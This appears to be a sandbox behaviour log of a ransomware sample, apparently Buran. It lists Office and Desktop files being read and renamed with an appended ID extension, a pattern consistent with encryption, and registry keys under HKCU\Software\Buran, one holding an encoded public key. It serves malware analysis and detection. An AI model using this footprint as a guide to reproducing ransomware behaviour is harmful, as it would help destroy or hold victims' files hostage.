Move C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml True 1
Fn
Move C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml True 1
Fn
Move C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml True 1
Fn
Move C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml True 1
Fn
Move C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.common.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.common.xml True 1
Fn
Move C:\Program Files\Microsoft Office\PackageManifests\AppXManifestLoc.en-us.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\PackageManifests\AppXManifestLoc.en-us.xml True 1
Fn
Move C:\Program Files\Microsoft Office\PackageManifests\AuthoredExtensions.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\PackageManifests\AuthoredExtensions.xml True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00004_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00004_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00011_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00011_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00021_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00021_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00037_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00037_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00038_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00038_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00040_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00040_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00052_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00052_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00057_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00057_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00090_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00090_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00092_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00092_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00103_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00103_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00120_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00120_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00126_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00126_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00129_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00129_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00130_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00130_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00135_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00135_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00139_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00139_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00142_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00142_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00154_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00154_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00157_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00157_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00158_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00158_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00160_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00160_.GIF True 1
Fn
Move C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00161_.GIF.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 source_filename = C:\Program Files\Microsoft Office\root\CLIPART\PUB60COR\AG00161_.GIF True 1
Fn
Read C:\Users\FD1HVy\Desktop\-IU8WGmE.avi size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\-IU8WGmE.avi size = 40575, size_out = 40575 True 1
Fn
Data
Read System Paging File size = 5, size_out = 0 False 2
Fn
Read C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv size = 101585, size_out = 101585 True 1
Fn
Data
Read C:\BOOTNXT size = 1, size_out = 1 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp size = 6344, size_out = 6344 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\1nAU21n.gif size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\1nAU21n.gif size = 29908, size_out = 29908 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf size = 26495, size_out = 26495 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3 size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3 size = 13803, size_out = 13803 True 1
Fn
Data
Read C:\$GetCurrent\SafeOS\GetCurrentRollback.ini size = 5, size_out = 5 True 1
Fn
Data
Read C:\$GetCurrent\SafeOS\GetCurrentRollback.ini size = 156, size_out = 156 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3 size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3 size = 65476, size_out = 65476 True 1
Fn
Data
Read C:\588bce7c90097ed212\DHtmlHeader.html size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\DHtmlHeader.html size = 16118, size_out = 16118 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls size = 84682, size_out = 84682 True 1
Fn
Data
Read C:\588bce7c90097ed212\DisplayIcon.ico size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\DisplayIcon.ico size = 88533, size_out = 88533 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods size = 35264, size_out = 35264 True 1
Fn
Data
Read C:\588bce7c90097ed212\header.bmp size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\header.bmp size = 3628, size_out = 3628 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots size = 11134, size_out = 11134 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core.mzz size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core.mzz size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core.mzz size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3 size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3 size = 36680, size_out = 36680 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core_x64.msi size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core_x64.msi size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core_x64.msi size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg size = 82091, size_out = 82091 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core_x86.msi size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core_x86.msi size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Core_x86.msi size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg size = 96980, size_out = 96980 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended.mzz size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended.mzz size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended.mzz size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi size = 51681, size_out = 51681 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended_x64.msi size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended_x64.msi size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended_x64.msi size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\Cc1dWs.flv size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\Cc1dWs.flv size = 22227, size_out = 22227 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended_x86.msi size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended_x86.msi size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\netfx_Extended_x86.msi size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif size = 54325, size_out = 54325 True 1
Fn
Data
Read C:\588bce7c90097ed212\ParameterInfo.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\ParameterInfo.xml size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\ParameterInfo.xml size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi size = 31322, size_out = 31322 True 1
Fn
Data
Read C:\588bce7c90097ed212\RGB9RAST_x64.msi size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\RGB9RAST_x64.msi size = 184832, size_out = 184832 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png size = 62214, size_out = 62214 True 1
Fn
Data
Read C:\588bce7c90097ed212\RGB9Rast_x86.msi size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\RGB9Rast_x86.msi size = 94720, size_out = 94720 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\Eezf.mp4 size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\Eezf.mp4 size = 27105, size_out = 27105 True 1
Fn
Data
Read C:\588bce7c90097ed212\SetupUi.xsd size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\SetupUi.xsd size = 30120, size_out = 30120 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav size = 70443, size_out = 70443 True 1
Fn
Data
Read C:\588bce7c90097ed212\SplashScreen.bmp size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\SplashScreen.bmp size = 41080, size_out = 41080 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\he_DSG.swf size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\he_DSG.swf size = 43783, size_out = 43783 True 1
Fn
Data
Read C:\588bce7c90097ed212\Strings.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\Strings.xml size = 14084, size_out = 14084 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc size = 63232, size_out = 63232 True 1
Fn
Data
Read C:\588bce7c90097ed212\UiInfo.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\UiInfo.xml size = 38898, size_out = 38898 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\K2N8lD.swf size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\K2N8lD.swf size = 101304, size_out = 101304 True 1
Fn
Data
Read C:\588bce7c90097ed212\watermark.bmp size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\watermark.bmp size = 104072, size_out = 104072 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf size = 69395, size_out = 69395 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt size = 21111, size_out = 21111 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv size = 80836, size_out = 80836 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu size = 262144, size_out = 262144 True 1
Fn
Data
Read C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu size = 1024, size_out = 1024 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv size = 43130, size_out = 43130 True 1
Fn
Data
Read C:\588bce7c90097ed212\1025\eula.rtf size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1025\eula.rtf size = 7567, size_out = 7567 True 1
Fn
Data
Read C:\588bce7c90097ed212\1025\LocalizedData.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1025\LocalizedData.xml size = 74214, size_out = 74214 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf size = 38675, size_out = 38675 True 1
Fn
Data
Read C:\588bce7c90097ed212\1028\eula.rtf size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1028\eula.rtf size = 6309, size_out = 6309 True 1
Fn
Data
Read C:\588bce7c90097ed212\1028\LocalizedData.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1028\LocalizedData.xml size = 60816, size_out = 60816 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png size = 2222, size_out = 2222 True 1
Fn
Data
Read C:\588bce7c90097ed212\1029\eula.rtf size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1029\eula.rtf size = 3726, size_out = 3726 True 1
Fn
Data
Read C:\588bce7c90097ed212\1029\LocalizedData.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1029\LocalizedData.xml size = 80970, size_out = 80970 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv size = 85437, size_out = 85437 True 1
Fn
Data
Read C:\588bce7c90097ed212\1030\eula.rtf size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1030\eula.rtf size = 3314, size_out = 3314 True 1
Fn
Data
Read C:\588bce7c90097ed212\1030\LocalizedData.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1030\LocalizedData.xml size = 77748, size_out = 77748 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4 size = 5, size_out = 5 True 1
Fn
Data
Read C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4 size = 86259, size_out = 86259 True 1
Fn
Data
Read C:\588bce7c90097ed212\1031\eula.rtf size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1031\eula.rtf size = 3419, size_out = 3419 True 1
Fn
Data
Read C:\588bce7c90097ed212\1031\LocalizedData.xml size = 5, size_out = 5 True 1
Fn
Data
Read C:\588bce7c90097ed212\1031\LocalizedData.xml size = 82346, size_out = 82346 True 1
Fn
Data
Write C:\588bce7c90097ed212\1029\eula.rtf size = 1 True 2
Fn
Data
For performance reasons, the remaining 1706 entries are omitted.
The remaining entries can be found in glog.xml.
Registry (7900)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran\Service - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 285
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 16
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 8
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 4
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 7
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 26
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 5
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 4
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 529
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 282
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1111
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 20
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 102
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 192
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 160
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 193
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 51
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 249
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 629
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes value_name = MS Shell Dlg 2, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes value_name = MS Shell Dlg 2, data = Tahoma, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public, data = LUROSfn0Hv/8+TDyTusek0rukhmNx0BlMBySvziS7M5WU/fwCFxgR2shqBp8IgER1g4xXqydyHRjS+l/07SW/mmruLNphuis2R3IuW+dqHPh6ZBc5/Ayu4JzvOrDWsWu7ADkJFSBZlnoF/bY/PSkfa/yMZ1r7fW5XiBd/8muBjKDJo7OEGLmOoQ1LTbN0Gj4mUEFv2svUS6u1FdFrvhktiFO7wCsFPC5qVVLedvXgEKIKc4GctkJ1VMQ5pFN8ggsjU2S0Hw9MEC1rIeIm0WwPPh9PeGREUNXEqKdlaT48WX8yqvhT5vmgWs6qEAZQyFJovHJVoymLFvV7t53CjEjLf5P+9qe2OrAXJJd+pW4UmeHNeKWQMS2gjyl1G17k41V7G5urLMc10bL2Pzj/SqW6g==, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Private, data = 0, type = REG_SZ True 1
Fn
